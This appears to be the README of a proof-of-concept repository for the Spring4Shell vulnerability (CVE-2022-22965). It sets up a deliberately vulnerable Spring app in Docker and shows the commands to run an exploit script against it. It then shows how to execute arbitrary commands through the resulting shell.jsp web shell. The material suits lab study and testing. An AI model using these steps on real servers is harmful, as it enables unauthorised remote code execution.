PoC and exploit for CVE-2022-22965 Spring4Shell# Spring4Shell
Spring4Shell (CVE-2022-22965) Proof Of Concept with a vulnerable Tomcat server with a vulnerable spring4shell application.
## Details about this vulnerability
- [https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc](https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc)
- [https://www.springcloud.io/post/2022-03/spring-0day-vulnerability](https://www.springcloud.io/post/2022-03/spring-0day-vulnerability)
- [https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)
# How to use
## Build the image
```bash
docker build . -t spring4shell
```
## Run the container
```bash
docker run -p 80:8080 spring4shell
```
You can also run it with the debugger port exposed if needed:
```bash
docker run -p 80:8080 –p 5005:5005 spring4shell
```
See the original blog post for the details of setting up a remote debugger in IntelliJ Idea!
## Run the exploit
```bash
./exploit.sh --url http://localhost/spring4shell/hello --dir spring4shell
```
Then, you can run any command remotely like this:
```bash
curl http://localhost/spring4shell/shell.jsp?cmd=id --output -
```
...or by visiting the URL above.
[4.0K] /data/pocs/3cf061dc47f77db1a53712e2cd325a44d4ef6eb8
├── [ 497] Dockerfile
├── [3.6K] exploit.sh
├── [1.2K] README.md
└── [4.0K] vulnerable-app
├── [1.7K] pom.xml
└── [4.0K] src
└── [4.0K] main
├── [4.0K] java
│ └── [4.0K] com
│ └── [4.0K] spring4shell
│ ├── [ 206] DemoObject.java
│ ├── [ 559] HelloController.java
│ └── [ 415] HelloworldApplication.java
└── [4.0K] resources
├── [ 19] application.properties
├── [4.0K] static
│ ├── [4.0K] css
│ │ ├── [120K] bootstrap.min.css
│ │ └── [ 554] styles.css
│ └── [4.0K] imgs
│ └── [5.4K] logo.png
└── [4.0K] templates
└── [ 645] index.html
11 directories, 12 files